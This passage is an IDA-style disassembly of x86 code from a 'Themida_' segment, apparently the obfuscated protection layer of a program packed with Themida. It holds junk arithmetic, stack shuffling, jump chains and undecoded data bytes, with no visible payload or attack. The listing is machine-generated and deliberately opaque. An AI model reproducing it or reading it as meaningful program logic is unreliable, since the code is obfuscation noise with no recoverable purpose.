		not	dl
		and	dl, 1
		mov	al, 43h
		pop	ebp
		add	edx, 62555D58h
		add	edx, ebx
		sub	edx, 62555D58h
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	3DF6h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_54C773
; ---------------------------------------------------------------------------

loc_54A3D6:				; CODE XREF: Themida_:005505DFj
		dec	eax
		jno	loc_54AB47
		jmp	loc_54BD4B
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 56525FFEh
; ---------------------------------------------------------------------------

loc_54A3EC:				; CODE XREF: Themida_:0055410Fj
		pop	esp
		jmp	loc_54EE4B
; ---------------------------------------------------------------------------

loc_54A3F2:				; CODE XREF: Themida_:00550D3Dj
		jmp	loc_54C4A7
; ---------------------------------------------------------------------------

loc_54A3F7:				; CODE XREF: Themida_:00549493j
		push	1681h
		jmp	loc_55248A
; ---------------------------------------------------------------------------

loc_54A401:				; CODE XREF: Themida_:00549928j
		shr	bh, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		mov	dh, 58h
		xor	dh, 2Fh
		dec	dh
		or	dh, 4Dh
		push	ebx
		mov	bl, 6Dh
		jmp	loc_548AA4
; ---------------------------------------------------------------------------

loc_54A42D:				; CODE XREF: Themida_:0054E708j
		jmp	loc_551F60
; ---------------------------------------------------------------------------

loc_54A432:				; CODE XREF: Themida_:loc_55384Dj
		xor	ebx, 839628D5h
		jmp	loc_55499F
; ---------------------------------------------------------------------------
		db 58h,	88h, 0DAh
		dd 8BF2805Bh, 30BA8D0Fh, 0C2800000h, 0F5E9520Fh, 660000A3h
		dd 309AB55Bh, 4B951D5h,	81000000h, 30960C3h, 51EB814Eh
		dd 297A5402h, 0BA50E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A472:				; CODE XREF: Themida_:00549871j
		sub	ebp, 81A0803Eh
		jmp	loc_54C519
; ---------------------------------------------------------------------------

loc_54A47D:				; CODE XREF: Themida_:00551D39j
		xor	ebp, 0F717B096h
		jmp	loc_54B63B
; ---------------------------------------------------------------------------
		dd 4C481h, 0EBE90000h, 81000029h, 0E4349AC3h, 0CD810F39h
		dd 81000087h, 0B8D4E5F3h, 5BDD010Ah
		db 5Bh
; ---------------------------------------------------------------------------

loc_54A4A9:				; CODE XREF: Themida_:0054FD0Bj
		mov	esp, [esp]
		idiv	ecx
		push	5161h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54A4BD:				; CODE XREF: Themida_:00554913j
		pop	eax
		jmp	loc_55017D
; ---------------------------------------------------------------------------
		db 81h
		dd 9E2037CFh, 33F7815Ah, 15ABE3Ch, 0CB685FFBh, 89000019h
		dd 2BF243Ch, 81000000h,	753A6DC3h, 81FB0101h, 753A6DEBh
		dd 98685F01h, 89000028h, 74FF241Ch, 8F5B0424h, 248B2404h
		dd 0A322E924h, 52AC0000h, 0EA8029B2h, 5AD02808h, 0FFFB04E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A515:				; CODE XREF: Themida_:00549D1Aj
		push	176h
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edi
		jmp	loc_5503C1
; ---------------------------------------------------------------------------

loc_54A534:				; CODE XREF: Themida_:0055370Fj
		pop	edi
		mov	cx, 2E05h
		xor	cx, 15F3h
		jge	loc_553BB8
		shr	cx, 3
		jnz	loc_54B151
		jmp	loc_54991C
; ---------------------------------------------------------------------------

loc_54A553:				; CODE XREF: Themida_:0054A148j
		add	ebx, 97632E4h
		add	ebx, edi
		push	eax
		mov	eax, 97632E4h
		sub	ebx, eax
		jmp	loc_554B9A
; ---------------------------------------------------------------------------

loc_54A568:				; CODE XREF: Themida_:00549CBEj
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_551AF8
; ---------------------------------------------------------------------------

loc_54A57A:				; CODE XREF: Themida_:0054C253j
		xor	ebx, 0F3790E80h
		jmp	loc_555D0B
; ---------------------------------------------------------------------------
		db 0B1h, 7Ch, 0F6h
		dd 0DD6866D1h, 0A7F7E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A592:				; CODE XREF: Themida_:0054E5FFj
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5514E8
; ---------------------------------------------------------------------------

loc_54A5AB:				; CODE XREF: Themida_:0055390Dj
		inc	eax
		jmp	loc_554364
; ---------------------------------------------------------------------------

loc_54A5B1:				; CODE XREF: Themida_:00552E41j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_555A08
; ---------------------------------------------------------------------------

loc_54A5C2:				; CODE XREF: Themida_:00553124j
		add	esp, 4
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54A5CA:				; CODE XREF: Themida_:005527DAj
		add	dword ptr [esp], 47C12321h
		pop	ecx
		jmp	loc_549E12
; ---------------------------------------------------------------------------
aHV		db ']h',7,'v',0
		dd 242C8900h, 9A7C5E68h, 61E95D13h, 2D000080h, 3AE270CBh
		dd 177F6E2Dh, 0EE6FE9B5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A5FA:				; CODE XREF: Themida_:0054BCB4j
		pop	esi
		not	di
		push	esi
		jmp	loc_552E46
; ---------------------------------------------------------------------------
		dd 468AEA81h, 0E2816F86h, 578410A8h, 50E68h, 240C8900h
		dd 1734BA52h, 3868215Fh, 0E9174EEDh, 3CAFh
; ---------------------------------------------------------------------------

loc_54A628:				; CODE XREF: Themida_:0054BA55j
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54A644:				; CODE XREF: Themida_:loc_549020j
		add	ebx, 477923Dh
		mov	esi, ebx
		pop	ebx
		jmp	loc_549A43
; ---------------------------------------------------------------------------

loc_54A652:				; CODE XREF: Themida_:00548E0Ej
		neg	ebp
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		jmp	loc_55500E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4EC81h, 0D2E90000h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A66B:				; CODE XREF: Themida_:0055056Cj
		shr	ebx, 8
		sub	ebx, 96BFAE21h
		and	esi, ebx
		pop	ebx
		push	ebx
		push	ecx
		mov	ecx, 62D72067h
		mov	ebx, ecx
		pop	ecx
		and	ebx, 45F46B70h
		or	ebx, 2B073D30h
		xor	ebx, 5CE14B6Ah
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		jmp	loc_54D239
; ---------------------------------------------------------------------------

loc_54A69D:				; CODE XREF: Themida_:0054D12Fj
		jz	loc_553E34
		jmp	loc_55237E
; ---------------------------------------------------------------------------
		dd 0FFE27CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A6AD:				; CODE XREF: Themida_:005535F6j
		shr	esi, 6
		xor	esi, 1C586E0Bh
		jmp	loc_550240
; ---------------------------------------------------------------------------

loc_54A6BB:				; CODE XREF: Themida_:0055269Aj
		add	edx, edi
		push	ecx
		jmp	loc_548A3E
; ---------------------------------------------------------------------------

loc_54A6C3:				; CODE XREF: Themida_:0054BC26j
		pop	ebp
		push	67DDh
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_54A29B
; ---------------------------------------------------------------------------
		db 52h
		dd 0EA80FAB2h, 24EA80F7h, 60E9DAF6h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A6E7:				; CODE XREF: Themida_:00548B45j
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553875
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 7FC6C181h, 0E95B6E23h, 0A615h
; ---------------------------------------------------------------------------

loc_54A70C:				; CODE XREF: Themida_:loc_55413Dj
		not	ebp
		jmp	loc_5492E7
; ---------------------------------------------------------------------------
aIsusV		db '┴АUИдV',0
		dw 0C100h
		dd 8B0F02EFh, 6194h, 7743E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A729:				; CODE XREF: Themida_:005556D3j
		pop	esp
		mov	[esp], ecx
		jmp	loc_554CAB
; ---------------------------------------------------------------------------

loc_54A732:				; CODE XREF: Themida_:0054F61Dj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		pop	ebx
		pop	esi
		pop	esi
		push	33DDh
		mov	[esp], ecx
		push	ebp
		mov	ebp, 54F2C5Bh
		xor	ebp, 11A8A73Ch
		mov	ecx, ebp
		pop	ebp
		xor	ebx, ecx
		pop	ecx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_54E1DD
; ---------------------------------------------------------------------------

loc_54A763:				; CODE XREF: Themida_:0054962Dj
		pop	eax
		push	ebx
		jmp	loc_552C63
; ---------------------------------------------------------------------------

loc_54A76A:				; CODE XREF: Themida_:0054A15Fj
		sub	[esp], si
		pop	si
		dec	si
		jmp	loc_552ED1
; ---------------------------------------------------------------------------
		db 68h
		dd 0C5Fh, 24048F54h, 7DB168h, 240C8900h, 4B9h, 24448100h
		dd 0B71C1A04h, 246C8144h, 7567E604h, 2444817Bh,	413FD204h
		dd 244C014Ah, 246C8104h, 413FD204h, 2444814Ah, 7567E604h
		dd 0E955537Bh, 3AC3h
; ---------------------------------------------------------------------------

loc_54A7C0:				; CODE XREF: Themida_:0054EEC8j
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54D835
; ---------------------------------------------------------------------------
aPKXsnp		db 'P╦й╙╢╦)гXИNp',0
		dd 24248B00h, 1479E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A7E5:				; CODE XREF: Themida_:0054DD90j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_54FF5C
; ---------------------------------------------------------------------------

loc_54A7F8:				; CODE XREF: Themida_:0054D757j
		push	ebp
		jmp	loc_54C9D0
; ---------------------------------------------------------------------------

loc_54A7FE:				; CODE XREF: Themida_:0054B391j
					; Themida_:00554C28j
		mov	ecx, 5FCF70EBh
		jmp	loc_54DC46
; ---------------------------------------------------------------------------

loc_54A808:				; CODE XREF: Themida_:0054AC79j
		push	607Bh
		mov	[esp], edi
		jmp	loc_553552
; ---------------------------------------------------------------------------
		db 0BAh, 9Ch, 18h
		dd 54015E03h, 56E90824h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A823:				; CODE XREF: Themida_:0054B090j
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4E42B61h
		or	edx, 3AC84575h
		push	esi
		jmp	loc_553FA1
; ---------------------------------------------------------------------------

loc_54A83E:				; CODE XREF: Themida_:0054A30Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54D10C
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 0C6815E54h, 4, 4EC8157h, 89000000h, 63BE2434h
		dd 0D14FAE08h, 3CC681E6h, 8960A3EFh, 0FE015EF7h, 4EC815Fh
		dd 89000000h, 74FF2434h, 348B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_550C66
; ---------------------------------------------------------------------------

loc_54A89D:				; CODE XREF: Themida_:0054B2D7j
		and	eax, 64A25DDDh
		sub	eax, 6B8546ADh
		jb	loc_553316
		dec	eax
		jg	loc_54B74E
		mov	bl, bl
		and	al, 0Fh
		push	edi
		mov	edi, 66462066h
		sub	edi, 96E6C5Bh
		and	edi, 6AC049E9h
		jmp	loc_554D61
; ---------------------------------------------------------------------------
		db 53h
		dd 0DA5D5EBBh, 0E9DA8926h, 7A1Ah, 405E089h, 5000000h, 4
		dd 5C240487h, 4BD55h, 25E90000h, 0FF00001Bh, 9EE92C77h
		dd 8900009Ch, 4B951E7h,	1000000h, 240C8BCFh, 4C481h, 0BB530000h
		dd 4, 34FFDF01h, 89505B24h, 405E0h, 88E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A92B:				; CODE XREF: Themida_:0054FFC1j
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_548B50
; ---------------------------------------------------------------------------

loc_54A944:				; CODE XREF: Themida_:00552778j
		shr	ebp, 1
		push	ecx
		jmp	loc_552179
; ---------------------------------------------------------------------------

loc_54A94C:				; CODE XREF: Themida_:0054B5A9j
		mov	dh, ah
		pop	eax
		mov	ah, 21h
		xor	ah, dh
		pop	edx
		add	bl, ah
		jmp	loc_54CD5B
; ---------------------------------------------------------------------------

loc_54A95B:				; CODE XREF: Themida_:00555B2Bj
		pop	edi
		sub	ecx, 39FF4D30h
		jmp	loc_552101
; ---------------------------------------------------------------------------

loc_54A967:				; CODE XREF: Themida_:0054D386j
		mov	bh, ah
		not	bh
		mov	ah, bh
		pop	ebx
		and	ah, 88h
		jmp	loc_552E0D
; ---------------------------------------------------------------------------

loc_54A976:				; CODE XREF: Themida_:00552530j
		mov	edi, 4EFC1F2Dh
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jmp	loc_54D03A
; ---------------------------------------------------------------------------

loc_54A98B:				; CODE XREF: Themida_:0054FD57j
		mov	eax, 225409E2h
		neg	eax
		neg	eax
		inc	eax
		dec	eax
		jmp	loc_552602
; ---------------------------------------------------------------------------

loc_54A99B:				; CODE XREF: Themida_:00551ECFj
		mov	ecx, 2D91318h
		add	ecx, 4BCC1A92h
		jmp	loc_54CA17
; ---------------------------------------------------------------------------
		db 5Ah
		dd 54E9C4FEh
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A9B3:				; CODE XREF: Themida_:0054CDBCj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 296E3246h
		shr	esi, 5
		jmp	loc_549DA7
; ---------------------------------------------------------------------------

loc_54A9CF:				; CODE XREF: Themida_:0054BD81j
		or	cl, 66h
		xor	cl, 0A3h
		sub	al, 71h
		add	al, cl
		push	small 2744h
		jmp	loc_54FBCB
; ---------------------------------------------------------------------------
aWsq		db 'WИО',7,0
		align 4
		dd 472EC5BBh, 8C0F4372h, 0FFFFF1B6h, 0B8E6EB81h, 0F5E90288h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A9FF:				; CODE XREF: Themida_:0054BF4Fj
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54AA0B:				; CODE XREF: Themida_:0054B61Ej
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_551E29
; ---------------------------------------------------------------------------
		dw 885Ah
		dd 5B6659EEh, 0F601EE80h, 34CE80DEh, 5140EE80h,	8AB9E9h
		dd 4C68100h, 51000000h,	17A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AA3D:				; CODE XREF: Themida_:00548A0Dj
		not	bl
		xchg	bl, al
		xor	al, 74h
		add	bl, al
		jmp	loc_54C7C5
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 1966E9h, 5DEE2900h, 0A50EE81h, 0C6012294h, 0A50C681h
		dd 63682294h, 8900007Fh, 9F68243Ch, 5F3B7A00h, 19E9FE01h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA77:				; CODE XREF: Themida_:0054AE40j
		jmp	loc_551B97
; ---------------------------------------------------------------------------

loc_54AA7C:				; CODE XREF: Themida_:00550F75j
		mov	ecx, [esp]
		add	esp, 4
		add	al, 3Ah
		sub	al, cl
		sub	al, 3Ah
		add	al, 6Bh
		pop	ecx
		xor	bl, al
		push	ecx
		push	ebp
		push	52980C61h
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 3
		jmp	loc_54F904
; ---------------------------------------------------------------------------

loc_54AAA8:				; CODE XREF: Themida_:loc_54B3B4j
		add	ecx, 4DFB16B6h
		add	ecx, 8F8EC4DEh
		mov	edi, ecx
		jmp	loc_54E45B
; ---------------------------------------------------------------------------

loc_54AABB:				; CODE XREF: Themida_:00554889j
		mov	edi, esp
		add	edi, 4
		jmp	loc_553F6D
; ---------------------------------------------------------------------------

loc_54AAC8:				; CODE XREF: Themida_:005545E6j
		push	61ECh
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		push	esi
		mov	eax, [esp]
		push	ebx
		jmp	loc_549B10
; ---------------------------------------------------------------------------
		db 86h
		dd 30D4F6E1h, 30CC30E1h, 4EC81E1h, 89000000h, 0C8882404h
		dd 4244C8Ah, 4244488h, 0E924048Bh, 140Fh
; ---------------------------------------------------------------------------

loc_54AB08:				; CODE XREF: Themida_:005536A6j
		mov	ecx, 38h
		add	ecx, edx
		mov	[ecx], ebp
		pop	ecx
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	edi
		jmp	loc_54F607
; ---------------------------------------------------------------------------

loc_54AB23:				; CODE XREF: Themida_:0054CFADj
		inc	ebx
		jle	loc_54DC13
		and	ebx, 3D801D07h
		jnz	loc_548B67
		push	esi
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54E80D
; ---------------------------------------------------------------------------

loc_54AB47:				; CODE XREF: Themida_:0054A3D7j
					; Themida_:0054EE28j
		jmp	loc_5506F2
; ---------------------------------------------------------------------------

loc_54AB4C:				; CODE XREF: Themida_:0055443Fj
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edx
		push	esi
		jmp	loc_54B7DC
; ---------------------------------------------------------------------------

loc_54AB5B:				; CODE XREF: Themida_:00549B3Fj
		inc	ebx
		inc	ebx
		push	ecx
		mov	ecx, 549B648Eh
		shl	ecx, 7
		add	ecx, 38C56E10h
		sub	ecx, 265E3B04h
		not	ecx
		shl	ecx, 7
		add	ecx, 4959504Ch
		jmp	loc_54E425
; ---------------------------------------------------------------------------

loc_54AB82:				; CODE XREF: Themida_:00551460j
		dec	ecx
		jnp	loc_54F92A
		add	ecx, 0FA6E6B19h
		mov	esi, ecx
		pop	ecx
		add	edx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 329A1F22h
		xor	eax, 7C8D1C17h
		dec	eax
		add	eax, 7D3769C6h
		sub	eax, 3B557D91h
		sub	eax, 1B7910F4h
		xor	eax, 747FDE71h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FDB2
; ---------------------------------------------------------------------------

loc_54ABCC:				; CODE XREF: Themida_:00552B27j
		add	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_54C917
; ---------------------------------------------------------------------------

loc_54ABE0:				; CODE XREF: Themida_:00553330j
		mov	esi, 28E581Bh
		or	esi, 1CA02C1Fh
		add	esi, 0E15183E5h
		jmp	loc_54B74E
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 14870000h, 24248B24h, 4EC81h, 2C890000h
		dd 22FE924h, 0C2810000h, 41BB2D59h, 0EA81F201h,	41BB2D59h
		dd 3EAC15Eh, 58850F4Ah,	81000031h, 0BEF7B2C2h, 5AD389FCh
		dd 8EDCE9h
		db 0
; ---------------------------------------------------------------------------

loc_54AC3D:				; CODE XREF: Themida_:0054FFD8j
		add	bl, 0F4h
		jmp	loc_550E20
; ---------------------------------------------------------------------------
aPAI0X		db 'P╟─╠⌡0аX',0
		dw 59C8h
		dd 5624148Bh, 0C681E689h, 4, 0E904C683h, 32DCh
; ---------------------------------------------------------------------------

loc_54AC64:				; CODE XREF: Themida_:00554F67j
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 2
		jmp	loc_54A808
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 2434FF5Ah, 4C48158h,	59000000h, 15B75366h, 0F828E904h
		dd 0FFE108E9h, 81CB29FFh, 76729CC3h, 8F665905h,	0DC7FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ACAA:				; CODE XREF: Themida_:0054A38Ej
		add	al, 22h
		mov	dl, al
		pop	eax
		not	dl
		and	dl, 1
		push	0E0Fh
		mov	[esp], eax
		mov	al, 0E4h
		or	dl, al
		mov	eax, [esp]
		jmp	loc_54DEB8
; ---------------------------------------------------------------------------
		dd 3332BF57h, 0E7810CE6h, 6802D94h, 0E947D7F7h,	0ADD1h
; ---------------------------------------------------------------------------

loc_54ACDC:				; CODE XREF: Themida_:0054BAE1j
		mov	edx, 2
		add	esi, 22D560E3h
		sub	esi, edx
		sub	esi, 22D560E3h
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_549445
; ---------------------------------------------------------------------------

loc_54AD02:				; CODE XREF: Themida_:00554B88j
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_54F27B
; ---------------------------------------------------------------------------

loc_54AD0E:				; CODE XREF: Themida_:00551AC0j
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54AD13:				; CODE XREF: Themida_:00550FBDj
		push	5B24h
		mov	[esp], ebx
		jmp	loc_5525A9
; ---------------------------------------------------------------------------
		dd 5B76E981h, 8E0F21E5h, 0FFFFEC0Ch, 0E907E1C1h, 1BF2h
		dd 34FFFD29h, 0C4835F24h, 8BEB0104h, 0C481242Ch, 4, 0FFF417E9h
		dd 240431FFh, 0FFF19AE9h, 28C0B7FFh, 5B665BF8h,	82B353h
		dd 241C8BD8h, 4C481h, 0EC810000h, 4, 0B2241489h, 0F6CAFE0Bh
		dd 80C2FED2h, 0BF68A9F2h, 8900006Bh, 1B5240Ch, 0C8BEA28h
		dd 4C48324h, 0E95CEA80h, 5763h
; ---------------------------------------------------------------------------

loc_54AD98:				; CODE XREF: Themida_:0054CA2Fj
		push	ebp
		jmp	loc_54CE00
; ---------------------------------------------------------------------------
		dw 0A3BFh
		dd 0E98725B1h, 2518h, 52D830ACh, 6BE905B2h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ADB3:				; CODE XREF: Themida_:0054CCDFj
		pop	eax
		add	esi, 4
		jmp	loc_5554BE
; ---------------------------------------------------------------------------

loc_54ADBF:				; CODE XREF: Themida_:0055134Ej
		push	2A40h
		mov	[esp], edi
		mov	edi, 48E54D9Dh
		sub	edi, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 50B23321h
		jmp	loc_550E04
; ---------------------------------------------------------------------------

loc_54ADDF:				; CODE XREF: Themida_:00550613j
		push	ebx
		push	7F0Fh
		mov	[esp], edi
		push	small 0CF7h
		pop	di
		jmp	loc_54C77B
; ---------------------------------------------------------------------------

loc_54ADF3:				; CODE XREF: Themida_:005543B9j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_550033
; ---------------------------------------------------------------------------
		dd 0E958C101h, 0CEDh
; ---------------------------------------------------------------------------

loc_54AE14:				; CODE XREF: Themida_:00554EA2j
		pop	esi
		inc	esi
		xchg	esi, ecx
		jmp	loc_5540F2
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0DAh
		dd 2414875Bh, 0F724248Bh, 7F0B68E1h, 14890000h,	0E99C5024h
		dd 0FFFFDAF1h
; ---------------------------------------------------------------------------

loc_54AE38:				; CODE XREF: Themida_:loc_552FA7j
		xor	eax, 0D87AD26Fh
		mov	edi, eax
		pop	eax
		jmp	loc_54AA77
; ---------------------------------------------------------------------------
aPuhq9qdsJ	db 'PUhq9QdИ╠j',0
		dd 32C38100h, 1102D4Ch,	32EB81D3h, 5A102D4Ch, 3304C383h
		dd 1C31241Ch, 0DEE6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AE6E:				; CODE XREF: Themida_:loc_550DDFj
		shl	eax, 8
		jp	loc_54C460
		push	edx
		mov	edx, 81C0D801h
		jmp	loc_553375
; ---------------------------------------------------------------------------
		dw 9B2Ch
		db 57h
; ---------------------------------------------------------------------------

loc_54AE85:				; CODE XREF: Themida_:005539F4j
		mov	[esp], edx
		push	eax
		pop	edx
		pop	eax
		xor	eax, edx
		jmp	loc_552C3B
; ---------------------------------------------------------------------------
		dw 5ADh
		dd 23924A94h, 1178FA05h, 58D0E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AEA2:				; CODE XREF: Themida_:0054D2D8j
		push	edi
		jmp	loc_54C8F5
; ---------------------------------------------------------------------------
aQDaiYbMIbsB	db 'Q╧°]╓A┴йY│б▄(ibИ╬│',0
		align 4

loc_54AEBC:				; CODE XREF: Themida_:00548ABCj
		sub	bh, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54DF9B
; ---------------------------------------------------------------------------

loc_54AEC9:				; CODE XREF: Themida_:00549579j
		mov	[esp], edx
		push	1Ch
		pop	edx
		push	39C8h
		mov	[esp], ebp
		mov	ebp, 2FCD3CADh
		jmp	loc_54CCE4
; ---------------------------------------------------------------------------
		dd 2A1AE95Dh, 77FF0000h, 2434FF3Ch, 0E7895758h,	9A76E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AEF9:				; CODE XREF: Themida_:0055076Dj
		push	5A486D6Fh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55006C
; ---------------------------------------------------------------------------
		db 80h
		dd 0C50073EDh, 5152E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AF11:				; CODE XREF: Themida_:0054F78Aj
		inc	ebp
		not	ebp
		add	ebp, 399E4985h
		add	ebx, ebp
		pop	ebp
		push	127Ah
		mov	[esp], eax
		push	69E4h
		jmp	loc_555437
; ---------------------------------------------------------------------------

loc_54AF2F:				; CODE XREF: Themida_:0054AF62j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	eax, [esp]
		push	6447h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_552899
; ---------------------------------------------------------------------------

loc_54AF5C:				; CODE XREF: Themida_:0055566Ej
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54AF2F
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 52DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_54AF71:				; CODE XREF: Themida_:005529E2j
		mov	dl, 80h
		sub	bl, dl
		pop	edx
		push	dx
		jmp	loc_55246D
; ---------------------------------------------------------------------------

loc_54AF7D:				; CODE XREF: Themida_:0055260Aj
		dec	edx
		add	edx, 5B44DD30h
		mov	ecx, edx
		pop	edx
		sub	ecx, 1
		not	ecx
		xor	ecx, 0B4C2DDAh
		shr	ecx, 8
		xor	ecx, 0D236C0h
		push	ecx
		xor	dword ptr [esp], 113B522Eh
		pop	edx
		xor	edx, 113B522Eh
		jmp	loc_550811
; ---------------------------------------------------------------------------

loc_54AFB2:				; CODE XREF: Themida_:0054A137j
		pop	ecx
		jmp	loc_551991
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2FE9242Ch, 5B000022h, 3ECAB951h, 0E9817EB4h
		dd 7EB43EC6h, 4A34E9h, 8BD48800h, 0C4832414h, 0E2885204h
		dd 0FFFC99E9h, 0B5C6B4FFh, 58E5008Eh, 0E9DC8850h, 63E2h
		dd 0B7468h, 0E641E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AFFE:				; CODE XREF: Themida_:0054D1ABj
		sub	ebp, 5A486905h
		xor	ebp, 2453515Fh
		jmp	loc_555163
; ---------------------------------------------------------------------------

loc_54B00F:				; CODE XREF: Themida_:00548CB5j
		xor	ecx, 61E1215Eh
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		xor	eax, ecx
		push	6927h
		jmp	loc_54EA1A
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2404h, 8AE92414h, 8700005Bh, 505C2434h, 0BF575854h
		dd 4, 7BE9F801h, 5800000Ah, 0ED81CD01h,	76384A9Bh, 50240C8Bh
		dd 4656E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B059:				; CODE XREF: Themida_:00549DD3j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0BD555104h, 21AC5392h, 4818E9h, 4EC8300h, 0E9241C89h
		dd 5D8Ch
; ---------------------------------------------------------------------------

loc_54B078:				; CODE XREF: Themida_:loc_548B06j
		inc	eax
		jmp	loc_54DB74
; ---------------------------------------------------------------------------
		dw 6851h
		dd 34F112Bh, 459E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B08A:				; CODE XREF: Themida_:00550AD8j
		add	esp, 4
		jmp	loc_54A823
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0EB830000h, 241C8702h, 2489665Ch, 66556624h
		dd 0E90002BDh, 3886h
; ---------------------------------------------------------------------------

